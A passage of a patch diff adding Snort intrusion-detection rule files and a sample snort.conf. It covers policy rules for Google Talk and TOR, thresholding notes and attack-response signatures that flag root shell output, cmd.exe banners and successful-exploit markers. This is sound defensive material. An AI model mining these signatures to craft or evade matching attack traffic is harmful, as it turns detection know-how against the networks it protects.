+alert udp $EXTERNAL_NET any -> $HOME_NET 162 (msg:"COMMUNITY MISC SNMP trap Format String detected"; content:"%s"; reference:bugtraq,16267; reference:cve,2006-0250; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=22493; classtype:attempted-recon; sid:100000227; rev:1;) 
+#Rule submitted by Nigel Houghton
+alert tcp $EXTERNAL_NET any -> $HOME_NET 389 (msg:"COMMUNITY MISC Lotus Domino LDAP attack"; flow:established; content:"|30 0c 02 01 01 60 07 02 00 03 04 00 80 00|"; reference:bugtraq,16523; reference:cve,2006-0580; reference:url,lists.immunitysec.com/pipermail/dailydave/2006-February/002896.html; classtype:misc-attack; sid:100000229; rev:2;)
+
+#Jabber/Google Talk traffic from the client submitted by Steven Alexander
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5222 (msg:"COMMUNITY MISC Jabber/Google Talk Outgoing Traffic"; flow:to_server,established; content:"<stream"; offset:0; nocase; reference:url,www.google.com/talk/; classtype:policy-violation; sid:100000230; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5222 (msg:"COMMUNITY MISC Jabber/Google Talk Outgoing Auth"; flow:to_server,established; content:"<auth"; offset:0; nocase; reference:url,www.google.com/talk/; classtype:policy-violation; sid:100000231; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5222 (msg:"COMMUNITY MISC Google Talk Logon"; flow:to_server,established; content:"<stream\:stream to=\"gmail.com\""; offset:0; nocase; reference:url,www.google.com/talk/; classtype:policy-violation; sid:100000232; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5222 (msg:"COMMUNITY MISC Jabber/Google Talk Outoing Message"; flow:to_server,established; content:"<message"; offset:0; nocase; reference:url,www.google.com/talk/;  classtype:policy-violation; sid:100000233; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5222 (msg:"COMMUNITY MISC Jabber/Google Talk Log Out"; flow:to_server,established; content:"</stream"; offset:0; nocase; reference:url,www.google.com/talk/; classtype:policy-violation; sid:100000234; rev:1;)
+
+#Jabber/Google Talk traffic from the server submitted by Steven Alexander
+alert tcp $EXTERNAL_NET 5222 -> $HOME_NET any (msg:"COMMUNITY MISC Jabber/Google Talk Logon Success"; flow:to_client,established; content:"<success"; offset:0; nocase; reference:url,www.google.com/talk/; classtype:policy-violation; sid:100000235; rev:1;)
+alert tcp $EXTERNAL_NET 5222 -> $HOME_NET any (msg:"COMMUNITY MISC Jabber/Google Talk Incoming Message"; flow:to_client,established; content:"<message"; offset:0; nocase; reference:url,www.google.com/talk/; classtype:policy-violation; sid:100000236; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1364 (msg:"COMMUNITY MISC Connect Direct Server - Session Terminated Invalid Credentials"; flow:stateless; content:"SVTM056I"; nocase; classtype:bad-unknown; sid:100000281; rev:2;)
+
+# TOR Rules by Dan Ramaswami
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY MISC DLR-TOR Directory server response"; flow:established,to_client; content:"|54 4f 52|"; offset:109; depth:3; content:"|06 03 55 04 03|"; distance:4; within:5; content:"|20 3C 69 64 65 6E 74 69 74 79 3E|"; distance:2; within:30; reference:url,tor.eff.org; classtype:policy-violation; sid:100000874; rev:2;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY MISC DLR-TOR Client Traffic"; flow:established,to_server;content:"|54 4f 52|"; content:"|06 03 55 04 03 14|"; distance:4; within:6; content:"|63 6c 69 65 6e 74 20 3C 69 64 65 6E 74 69 74 79 3E|"; distance:1; within:17; classtype:policy-violation; reference:url,tor.eff.org; sid:100000875; rev:1;)
+
+# Additional GoogleTalk Rules by Will Young
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"COMMUNITY MISC Google Talk Version Check"; flow: established,to_server; uricontent:"/googletalk/google-talk-versioncheck.txt?"; nocase; classtype: policy-violation; sid:100000876; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5222 (msg:"COMMUNITY MISC Google Talk Startup"; flow: established,to_server; content:"google.com"; nocase; content:"jabber|3A|client"; nocase; classtype:policy-violation; threshold: type limit, track by_src, count 1, seconds 300; sid:100000877; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1720 (msg:"COMMUNITY MISC Q.931 Invalid Call Reference Length Buffer Overflow"; flow:established; content:"|08|"; depth:1; byte_test:1,>,4,1; classtype:attempted-dos; reference:url,www.ethereal.com/news/item_20050504_01.html; reference:url,www.elook.org/internet/126.html; sid:100000892; rev:1;)
+
+# Rule submitted by dprotich@sagonet.com
+alert udp $EXTERNAL_NET any <> $HOME_NET 1025:1026 (msg:"COMMUNITY MISC Microsoft Messenger phishing attempt - corrupted registry"; content:"FAILURE TO ACT NOW MAY LEAD TO DATA LOSS AND CORRUPTION!"; classtype:misc-activity; reference:url,www.microsoft.com/windowsxp/using/security/learnmore/stopspam.mspx; sid:100000927; rev:1;)
--- snort-2.8.5.2.orig/rules/threshold.conf
+++ snort-2.8.5.2/rules/threshold.conf
@@ -0,0 +1,61 @@
+# Configure Thresholding and Suppression
+# ======================================
+#
+# Thresholding:
+#
+# This feature is used to reduce the number of logged alerts for noisy rules.
+# This can be tuned to significantly reduce false alarms, and it can also be
+# used to write a newer breed of rules. Thresholding commands limit the number
+# of times a particular event is logged during a specified time interval.
+# There are 3 types of thresholding:
+#
+#        1) Limit
+#           Alert on the 1st M events during the time interval, then ignore
+#           events
+#           for the rest of the time interval.
+#        2) Threshold
+#           Alert every M times we see this event during the time interval.
+#        3) Both
+#           Alert once per time interval after seeing M occurrences of the
+#           event,
+#           then ignore any additional events during the time interval.
+#
+# Threshold commands are formatted as:
+# threshold gen_id gen-id, sig_id sig-id, type limit|threshold|both, track
+# by_src|by_dst, count n , seconds m
+#
+# Limit to logging 1 event per 60 seconds
+# threshold gen_id 1, sig_id 1851, type limit, track by_src, count 1, seconds
+# 60
+
+# Global Threshold - Limit to logging 1 event per 60 seconds per IP triggering
+# each rule (rules are gen_id 1).
+# threshold gen_id 1, sig_id 0, type limit, track by_src, count 1, seconds 60
+
+# Global Threshold - Limit to logging 1 event per 60 seconds per IP triggering
+# any alert for any event generator
+# threshold gen_id 0, sig_id 0, type limit, track by_src, count 1, seconds 60
+#
+# Thresholding does not need to be a stand-alone command, and can instead be
+# written directly into a rule. Please see README.thresholding for more
+# information on thresholding.
+#
+# Suppression:
+#
+# Suppression commands are standalone commands that reference generators and
+# sids and IP addresses via a CIDR block. This allows a rule to be completely
+# suppressed, or suppressed when the causitive traffic is going to or comming
+# from a specific IP or group of IP addresses.
+#
+#  Suppress this event completely
+#
+# suppress gen_id 1, sig_id 1852
+#
+#  Suppress this event from this IP
+#
+# suppress gen_id 1, sig_id 1852, track by_src, ip 10.1.1.54
+#
+#  Suppress this event to this CIDR block
+#
+# suppress gen_id 1, sig_id 1852, track by_dst, ip 10.1.1.0/24
+
--- snort-2.8.5.2.orig/rules/attack-responses.rules
+++ snort-2.8.5.2/rules/attack-responses.rules
@@ -0,0 +1,44 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: attack-responses.rules,v 1.32.2.3.2.2 2005/07/22 19:19:54 mwatchinski Exp $
+# ----------------
+# ATTACK RESPONSES
+# ----------------
+# These signatures are those when they happen, its usually because a machine
+# has been compromised.  These should not false that often and almost always
+# mean a compromise.
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES directory listing"; flow:established; content:"Volume Serial Number"; classtype:bad-unknown; sid:1292; rev:9;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES command completed"; flow:established; content:"Command completed"; nocase; reference:bugtraq,1806; classtype:bad-unknown; sid:494; rev:10;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES command error"; flow:established; content:"Bad command or filename"; nocase; classtype:bad-unknown; sid:495; rev:8;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES file copied ok"; flow:established; content:"1 file|28|s|29| copied"; nocase; reference:bugtraq,1806; reference:cve,2000-0884; classtype:bad-unknown; sid:497; rev:12;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES Invalid URL"; flow:from_server,established; content:"Invalid URL"; nocase; reference:url,www.microsoft.com/technet/security/bulletin/MS00-063.mspx; classtype:attempted-recon; sid:1200; rev:10;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES index of /cgi-bin/ response"; flow:from_server,established; content:"Index of /cgi-bin/"; nocase; reference:nessus,10039; classtype:bad-unknown; sid:1666; rev:5;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES 403 Forbidden"; flow:from_server,established; content:"HTTP/1.1 403"; depth:12; classtype:attempted-recon; sid:1201; rev:7;)
+
+alert ip any any -> any any (msg:"ATTACK-RESPONSES id check returned root"; content:"uid=0|28|root|29|"; classtype:bad-unknown; sid:498; rev:6;)
+alert ip $HOME_NET any -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES id check returned userid"; content:"uid="; byte_test:5,<,65537,0,relative,string; content:" gid="; within:15; byte_test:5,<,65537,0,relative,string; classtype:bad-unknown; sid:1882; rev:10;)
+
+alert tcp $HOME_NET 8002 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES oracle one hour install"; flow:from_server,established; content:"Oracle Applications One-Hour Install"; reference:nessus,10737; classtype:bad-unknown; sid:1464; rev:5;)
+alert tcp $HOME_NET 749 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES successful kadmind buffer overflow attempt"; flow:established,from_server; content:"*GOBBLE*"; depth:8; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:successful-admin; sid:1900; rev:10;)
+alert tcp $HOME_NET 751 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES successful kadmind buffer overflow attempt"; flow:established,from_server; content:"*GOBBLE*"; depth:8; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:successful-admin; sid:1901; rev:10;)
+alert tcp $HOME_NET 22 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES successful gobbles ssh exploit GOBBLE"; flow:from_server,established; content:"*GOBBLE*"; reference:bugtraq,5093; reference:cve,2002-0390; reference:cve,2002-0639; classtype:successful-admin; sid:1810; rev:12;)
+alert tcp $HOME_NET 22 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES successful gobbles ssh exploit uname"; flow:from_server,established; content:"uname"; reference:bugtraq,5093; reference:cve,2002-0390; reference:cve,2002-0639; classtype:misc-attack; sid:1811; rev:8;)
+alert tcp $HOME_NET 512 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES rexec username too long response"; flow:from_server,established; content:"username too long"; depth:17; reference:bugtraq,7459; classtype:unsuccessful-user; sid:2104; rev:5;)
+alert tcp $HOME_NET !21:23 -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES Microsoft cmd.exe banner"; flow:established; content:"Microsoft Windows"; content:"|28|C|29| Copyright 1985-"; distance:0; content:"Microsoft Corp."; distance:0; reference:nessus,11633; classtype:successful-admin; sid:2123; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES successful cross site scripting forced download attempt"; flow:to_server,established; content:"|0A|Referer|3A| res|3A|/C|3A|"; classtype:successful-user; sid:2412; rev:3;)
--- snort-2.8.5.2.orig/rules/snort.conf
+++ snort-2.8.5.2/rules/snort.conf
@@ -0,0 +1,753 @@
+#--------------------------------------------------
+#   http://www.snort.org     Snort 2.4.0 config file
+#     Contact: snort-sigs@lists.sourceforge.net
+#--------------------------------------------------
+# $Id: snort.conf,v 1.144.2.9.2.10 2005/07/22 15:10:16 roesch Exp $
+#
+###################################################
+# This file contains a sample snort configuration. 
+# You can take the following steps to create your own custom configuration:
+#
+#  1) Set the variables for your network
+#  2) Configure preprocessors
+#  3) Configure output plugins
+#  4) Add any runtime config directives
+#  5) Customize your rule set
+#
+###################################################
+# Step #1: Set the network variables:
+#
+# You must change the following variables to reflect your local network. The
+# variable is currently setup for an RFC 1918 address space.
+#
+# You can specify it explicitly as: 
+#
+# var HOME_NET 10.1.1.0/24
+#
+# or use global variable $<interfacename>_ADDRESS which will be always
+# initialized to IP address and netmask of the network interface which you run
+# snort at.  Under Windows, this must be specified as
+# $(<interfacename>_ADDRESS), such as:
+# $(\Device\Packet_{12345678-90AB-CDEF-1234567890AB}_ADDRESS)
+#
+# var HOME_NET $eth0_ADDRESS
+#
+# You can specify lists of IP addresses for HOME_NET
+# by separating the IPs with commas like this:
+#
+# var HOME_NET [10.1.1.0/24,192.168.1.0/24]
+#
+# MAKE SURE YOU DON'T PLACE ANY SPACES IN YOUR LIST!
+#
+# or you can specify the variable to be any IP address
+# like this:
+
+var HOME_NET any
+
+# Set up the external network addresses as well.  A good start may be "any"
+var EXTERNAL_NET any
+
+# Configure your server lists.  This allows snort to only look for attacks to
+# systems that have a service up.  Why look for HTTP attacks if you are not
+# running a web server?  This allows quick filtering based on IP addresses
+# These configurations MUST follow the same configuration scheme as defined
+# above for $HOME_NET.  
+
+# List of DNS servers on your network 
+var DNS_SERVERS $HOME_NET
+
+# List of SMTP servers on your network
+var SMTP_SERVERS $HOME_NET
+
+# List of web servers on your network
+var HTTP_SERVERS $HOME_NET
+
+# List of sql servers on your network 
+var SQL_SERVERS $HOME_NET
+
+# List of telnet servers on your network
+var TELNET_SERVERS $HOME_NET
+
+# List of snmp servers on your network
+var SNMP_SERVERS $HOME_NET
+
+# Configure your service ports.  This allows snort to look for attacks destined
+# to a specific application only on the ports that application runs on.  For
+# example, if you run a web server on port 8081, set your HTTP_PORTS variable
+# like this:
+#
+# var HTTP_PORTS 8081
+#
+# Port lists must either be continuous [eg 80:8080], or a single port [eg 80].
+# We will adding support for a real list of ports in the future.
+
+# Ports you run web servers on
+#
+# Please note:  [80,8080] does not work.
+# If you wish to define multiple HTTP ports,
+# 
+## var HTTP_PORTS 80 
+## include somefile.rules 
+## var HTTP_PORTS 8080
+## include somefile.rules 
+var HTTP_PORTS 80
+
+# Ports you want to look for SHELLCODE on.
+var SHELLCODE_PORTS !80
+
+# Ports you do oracle attacks on
+var ORACLE_PORTS 1521
+
+# other variables
+# 
+# AIM servers.  AOL has a habit of adding new AIM servers, so instead of
+# modifying the signatures when they do, we add them to this list of servers.
+var AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24]
+
+# Path to your rules files (this can be a relative path)
+# Note for Windows users:  You are advised to make this an absolute path,
+# such as:  c:\snort\rules
+var RULE_PATH ../rules
+
+# Configure the snort decoder
+# ============================
+#
+# Snort's decoder will alert on lots of things such as header
+# truncation or options of unusual length or infrequently used tcp options
+#
+#
+# Stop generic decode events:
+#
+# config disable_decode_alerts
+#
+# Stop Alerts on experimental TCP options
+#
+# config disable_tcpopt_experimental_alerts
+#
+# Stop Alerts on obsolete TCP options
+#
+# config disable_tcpopt_obsolete_alerts
+#
+# Stop Alerts on T/TCP alerts
+#
+# In snort 2.0.1 and above, this only alerts when a TCP option is detected
+# that shows T/TCP being actively used on the network.  If this is normal
+# behavior for your network, disable the next option.
+#
+# config disable_tcpopt_ttcp_alerts
+#
+# Stop Alerts on all other TCPOption type events:
+#
+# config disable_tcpopt_alerts
+#
+# Stop Alerts on invalid ip options
+#
+# config disable_ipopt_alerts
+
+# Configure the detection engine
+# ===============================
+#
+# Use a different pattern matcher in case you have a machine with very limited
+# resources:
+#
+# config detection: search-method lowmem
+
+# Configure Inline Resets
+# ========================
+# 
+# If running an iptables firewall with snort in InlineMode() we can now
+# perform resets via a physical device. We grab the indev from iptables
+# and use this for the interface on which to send resets. This config
+# option takes an argument for the src mac address you want to use in the
+# reset packet.  This way the bridge can remain stealthy. If the src mac
+# option is not set we use the mac address of the indev device. If we
+# don't set this option we will default to sending resets via raw socket,
+# which needs an ipaddress to be assigned to the int.
+#
+# config layer2resets: 00:06:76:DD:5F:E3
+
+###################################################
+# Step #2: Configure preprocessors
+#
+# General configuration for preprocessors is of 
+# the form
+# preprocessor <name_of_processor>: <configuration_options>
+
+# Configure Flow tracking module
+# -------------------------------
+#
+# The Flow tracking module is meant to start unifying the state keeping
+# mechanisms of snort into a single place. Right now, only a portscan detector
+# is implemented but in the long term,  many of the stateful subsystems of
+# snort will be migrated over to becoming flow plugins. This must be enabled
+# for flow-portscan to work correctly.
+#
+# See README.flow for additional information
+#
+preprocessor flow: stats_interval 0 hash 2
+
+# frag2: IP defragmentation support
+# -------------------------------
+# This preprocessor performs IP defragmentation.  This plugin will also detect
+# people launching fragmentation attacks (usually DoS) against hosts.  No
+# arguments loads the default configuration of the preprocessor, which is a 60
+# second timeout and a 4MB fragment buffer. 
+
+# The following (comma delimited) options are available for frag2
+#    timeout [seconds] - sets the number of [seconds] that an unfinished 
+#                        fragment will be kept around waiting for completion,
+#                        if this time expires the fragment will be flushed
+#    memcap [bytes] - limit frag2 memory usage to [number] bytes
+#                      (default:  4194304)
+#
+#    min_ttl [number] - minimum ttl to accept
+# 
+#    ttl_limit [number] - difference of ttl to accept without alerting
+#                         will cause false positves with router flap
+# 
+# Frag2 uses Generator ID 113 and uses the following SIDS 
+# for that GID:
+#  SID     Event description
+# -----   -------------------
+#   1       Oversized fragment (reassembled frag > 64k bytes)
+#   2       Teardrop-type attack
+
+#preprocessor frag2
+
+# frag3: Target-based IP defragmentation 
+# --------------------------------------
+#
+# Frag3 is a brand new IP defragmentation preprocessor that is capable of
+# performing "target-based" processing of IP fragments.  Check out the
+# README.frag3 file in the doc directory for more background and configuration
+# information.
+# 
+# Frag3 configuration is a two step process, a global initialization phase 
+# followed by the definition of a set of defragmentation engines.  
+# 
+# Global configuration defines the number of fragmented packets that Snort can
+# track at the same time and gives you options regarding the memory cap for the
+# subsystem or, optionally, allows you to preallocate all the memory for the 
+# entire frag3 system.
+#
+# frag3_global options:
+#   max_frags: Maximum number of frag trackers that may be active at once.  
+#              Default value is 8192.
+#   memcap: Maximum amount of memory that frag3 may access at any given time.
+#           Default value is 4MB.
+#   prealloc_frags: Maximum number of individual fragments that may be processed
+#                   at once.  This is instead of the memcap system, uses static 
+#                   allocation to increase performance.  No default value.  Each
+#                   preallocated fragment eats ~1550 bytes.
+#
+# Target-based behavior is attached to an engine as a "policy" for handling 
+# overlaps and retransmissions as enumerated in the Paxson paper.  There are
+# currently five policy types available: "BSD", "BSD-right", "First", "Linux" 
+# and "Last".  Engines can be bound to bound to standard Snort CIDR blocks or
+# IP lists.
+#
+# frag3_engine options:
+#   timeout: Amount of time a fragmented packet may be active before expiring.
+#            Default value is 60 seconds.
+#   ttl_limit: Limit of delta allowable for TTLs of packets in the fragments. 
+#              Based on the initial received fragment TTL.
+#   min_ttl: Minimum acceptable TTL for a fragment, frags with TTLs below this
+#            value will be discarded.  Default value is 0.
+#   detect_anomalies: Activates frag3's anomaly detection mechanisms.
+#   policy: Target-based policy to assign to this engine.  Default is BSD.
+#   bind_to: IP address set to bind this engine to.  Default is all hosts.
+#
+# Frag3 configuration example:
+#preprocessor frag3_global: max_frags 65536 prealloc_frags 262144
+#preprocessor frag3_engine: policy linux \
+#                           bind_to [10.1.1.12/32,10.1.1.13/32] \
+#                           detect_anomalies
+#preprocessor frag3_engine: policy first \
+#                           bind_to 10.2.1.0/24 \
+#                           detect_anomalies
+#preprocessor frag3_engine: policy last \
+#                           bind_to 10.3.1.0/24
+#preprocessor frag3_engine: policy bsd
+
+preprocessor frag3_global: max_frags 65536
+preprocessor frag3_engine: policy first detect_anomalies
+
+
+# stream4: stateful inspection/stream reassembly for Snort
+#----------------------------------------------------------------------
+# Use in concert with the -z [all|est] command line switch to defeat stick/snot
+# against TCP rules.  Also performs full TCP stream reassembly, stateful
+# inspection of TCP streams, etc.  Can statefully detect various portscan
+# types, fingerprinting, ECN, etc.
+
+# stateful inspection directive
+# no arguments loads the defaults (timeout 30, memcap 8388608)
+# options (options are comma delimited):
+#   detect_scans - stream4 will detect stealth portscans and generate alerts
+#                  when it sees them when this option is set
+#   detect_state_problems - detect TCP state problems, this tends to be very
+#                           noisy because there are a lot of crappy ip stack
+#                           implementations out there
+#
+#   disable_evasion_alerts - turn off the possibly noisy mitigation of
+#                            overlapping sequences.
+#
+#
+#   min_ttl [number]       - set a minium ttl that snort will accept to
+#                            stream reassembly
+#
+#   ttl_limit [number]     - differential of the initial ttl on a session versus
+#                             the normal that someone may be playing games.
+#                             Routing flap may cause lots of false positives.
+# 
+#   keepstats [machine|binary] - keep session statistics, add "machine" to 
+#                         get them in a flat format for machine reading, add
+#                         "binary" to get them in a unified binary output 
+#                         format
+#   noinspect - turn off stateful inspection only
+#   timeout [number] - set the session timeout counter to [number] seconds,
+#                      default is 30 seconds
+#   max_sessions [number] - limit the number of sessions stream4 keeps
+#                         track of
+#   memcap [number] - limit stream4 memory usage to [number] bytes
+#   log_flushed_streams - if an event is detected on a stream this option will
+#                         cause all packets that are stored in the stream4
+#                         packet buffers to be flushed to disk.  This only 
+#                         works when logging in pcap mode!
+#   server_inspect_limit [bytes] - Byte limit on server side inspection.
+#   flush_behavior [number] -
+#           number > 0 use old static flushpoints (default)
+#           number = 0 use new larger static flushpoints
+#           number < 0 use random flushpoints defined by flush_base, flush_seed
+#                      and flush_range
+#   flush_base [number] - lowest allowed random flushpoint (512 by default)
+#   flush_range [number] - number is the space within which random flushpoints
+#                          are generated (default 1213)
+#   flush_seed [number] - seed for the random number generator, defaults to 
+#                         Snort PID + time
+#
+# Using the default random flushpoints, the smallest flushpoint is 512,
+# and the largest is 1725 bytes.
+#
+# Stream4 uses Generator ID 111 and uses the following SIDS 
+# for that GID:
+#  SID     Event description
+# -----   -------------------
+#   1       Stealth activity
+#   2       Evasive RST packet
+#   3       Evasive TCP packet retransmission
+#   4       TCP Window violation
+#   5       Data on SYN packet
+#   6       Stealth scan: full XMAS
+#   7       Stealth scan: SYN-ACK-PSH-URG
+#   8       Stealth scan: FIN scan
+#   9       Stealth scan: NULL scan
+#   10      Stealth scan: NMAP XMAS scan
+#   11      Stealth scan: Vecna scan
+#   12      Stealth scan: NMAP fingerprint scan stateful detect
+#   13      Stealth scan: SYN-FIN scan
+#   14      TCP forward overlap
+
+preprocessor stream4: disable_evasion_alerts
+
+# tcp stream reassembly directive
+# no arguments loads the default configuration 
+#   Only reassemble the client,
+#   Only reassemble the default list of ports (See below),  
+#   Give alerts for "bad" streams
+#
+# Available options (comma delimited):
+#   clientonly - reassemble traffic for the client side of a connection only
+#   serveronly - reassemble traffic for the server side of a connection only
+#   both - reassemble both sides of a session
+#   noalerts - turn off alerts from the stream reassembly stage of stream4
+#   ports [list] - use the space separated list of ports in [list], "all" 
+#                  will turn on reassembly for all ports, "default" will turn
+#                  on reassembly for ports 21, 23, 25, 42, 53, 80, 110,
+#                  111, 135, 136, 137, 139, 143, 445, 513, 1433, 1521,
+#                  and 3306
+#   favor_old - favor an old segment (based on sequence number) over a new one.
+#               This is the default.
+#   favor_new - favor an new segment (based on sequence number) over an old one.
+preprocessor stream4_reassemble
+
+# Performance Statistics
+# ----------------------
+# Documentation for this is provided in the Snort Manual.  You should read it.
+# It is included in the release distribution as doc/snort_manual.pdf
+# 
+preprocessor perfmonitor: time 300 file /var/snort/snort.stats pktcnt 10000
+
+# http_inspect: normalize and detect HTTP traffic and protocol anomalies
+#
+# lots of options available here. See doc/README.http_inspect.
+# unicode.map should be wherever your snort.conf lives, or given
+# a full path to where snort can find it.
+preprocessor http_inspect: global \
+    iis_unicode_map unicode.map 1252 
+
+preprocessor http_inspect_server: server default \
+    profile all ports { 80 8080 8180 } oversize_dir_length 500
+
+#
+#  Example unqiue server configuration
+#
+#preprocessor http_inspect_server: server 1.1.1.1 \
+#    ports { 80 3128 8080 } \
+#    flow_depth 0 \
+#    ascii no \
+#    double_decode yes \
+#    non_rfc_char { 0x00 } \
+#    chunk_length 500000 \
+#    non_strict \
+#    oversize_dir_length 300 \
+#    no_alerts
+
+
+# rpc_decode: normalize RPC traffic
+# ---------------------------------
+# RPC may be sent in alternate encodings besides the usual 4-byte encoding
+# that is used by default. This plugin takes the port numbers that RPC
+# services are running on as arguments - it is assumed that the given ports
+# are actually running this type of service. If not, change the ports or turn
+# it off.
+# The RPC decode preprocessor uses generator ID 106
+#
+# arguments: space separated list
+# alert_fragments - alert on any rpc fragmented TCP data
+# no_alert_multiple_requests - don't alert when >1 rpc query is in a packet
+# no_alert_large_fragments - don't alert when the fragmented
+#                            sizes exceed the current packet size
+# no_alert_incomplete - don't alert when a single segment
+#                       exceeds the current packet size
+
+preprocessor rpc_decode: 111 32771
+
+# bo: Back Orifice detector
+# -------------------------
+# Detects Back Orifice traffic on the network.  Takes no arguments in 2.0.
+# 
+# The Back Orifice detector uses Generator ID 105 and uses the 
+# following SIDS for that GID:
+#  SID     Event description
+# -----   -------------------
+#   1       Back Orifice traffic detected
+
+preprocessor bo
+
+# telnet_decode: Telnet negotiation string normalizer
+# ---------------------------------------------------
+# This preprocessor "normalizes" telnet negotiation strings from telnet and ftp
+# traffic.  It works in much the same way as the http_decode preprocessor,
+# searching for traffic that breaks up the normal data stream of a protocol and
+# replacing it with a normalized representation of that traffic so that the
+# "content" pattern matching keyword can work without requiring modifications.
+# This preprocessor requires no arguments.
+# Portscan uses Generator ID 109 and does not generate any SID currently.
+
+preprocessor telnet_decode
+
+# sfPortscan
+# ----------
+# Portscan detection module.  Detects various types of portscans and
+# portsweeps.  For more information on detection philosophy, alert types,
+# and detailed portscan information, please refer to the README.sfportscan.
+#
+# -configuration options-
+#     proto { tcp udp icmp ip_proto all }
+#       The arguments to the proto option are the types of protocol scans that
+#       the user wants to detect.  Arguments should be separated by spaces and
+#       not commas.
+#     scan_type { portscan portsweep decoy_portscan distributed_portscan all }
+#       The arguments to the scan_type option are the scan types that the
+#       user wants to detect.  Arguments should be separated by spaces and not
+#       commas.
+#     sense_level { low|medium|high }
+#       There is only one argument to this option and it is the level of
+#       sensitivity in which to detect portscans.  The 'low' sensitivity
+#       detects scans by the common method of looking for response errors, such
+#       as TCP RSTs or ICMP unreachables.  This level requires the least
+#       tuning.  The 'medium' sensitivity level detects portscans and 
+#       filtered portscans (portscans that receive no response).  This
+#       sensitivity level usually requires tuning out scan events from NATed
+#       IPs, DNS cache servers, etc.  The 'high' sensitivity level has
+#       lower thresholds for portscan detection and a longer time window than
+#       the 'medium' sensitivity level.  Requires more tuning and may be noisy
+#       on very active networks.  However, this sensitivity levels catches the
+#       most scans.
+#     memcap { positive integer }
+#       The maximum number of bytes to allocate for portscan detection.  The
+#       higher this number the more nodes that can be tracked.
+#     logfile { filename }
+#       This option specifies the file to log portscan and detailed portscan
+#       values to.  If there is not a leading /, then snort logs to the
+#       configured log directory.  Refer to README.sfportscan for details on
+#       the logged values in the logfile.
+#     watch_ip { Snort IP List }
+#     ignore_scanners { Snort IP List }
+#     ignore_scanned { Snort IP List }
+#       These options take a snort IP list as the argument.  The 'watch_ip'
+#       option specifies the IP(s) to watch for portscan.  The 
+#       'ignore_scanners' option specifies the IP(s) to ignore as scanners.
+#       Note that these hosts are still watched as scanned hosts.  The
+#       'ignore_scanners' option is used to tune alerts from very active
+#       hosts such as NAT, nessus hosts, etc.  The 'ignore_scanned' option 
+#       specifies the IP(s) to ignore as scanned hosts.  Note that these hosts
+#       are still watched as scanner hosts.  The 'ignore_scanned' option is
+#       used to tune alerts from very active hosts such as syslog servers, etc.
+#
+preprocessor sfportscan: proto  { all } \
+                         memcap { 10000000 } \
+                         sense_level { low }
+
+# arpspoof
+#----------------------------------------
+# Experimental ARP detection code from Jeff Nathan, detects ARP attacks,
+# unicast ARP requests, and specific ARP mapping monitoring.  To make use of
+# this preprocessor you must specify the IP and hardware address of hosts on
+# the same layer 2 segment as you.  Specify one host IP MAC combo per line.
+# Also takes a "-unicast" option to turn on unicast ARP request detection. 
+# Arpspoof uses Generator ID 112 and uses the following SIDS for that GID:
+
+#  SID     Event description
+# -----   -------------------
+#   1       Unicast ARP request
+#   2       Etherframe ARP mismatch (src)
+#   3       Etherframe ARP mismatch (dst)
+#   4       ARP cache overwrite attack
+
+#preprocessor arpspoof
+#preprocessor arpspoof_detect_host: 192.168.40.1 f0:0f:00:f0:0f:00
+
+# X-Link2State mini-preprocessor
+# ------------------------------
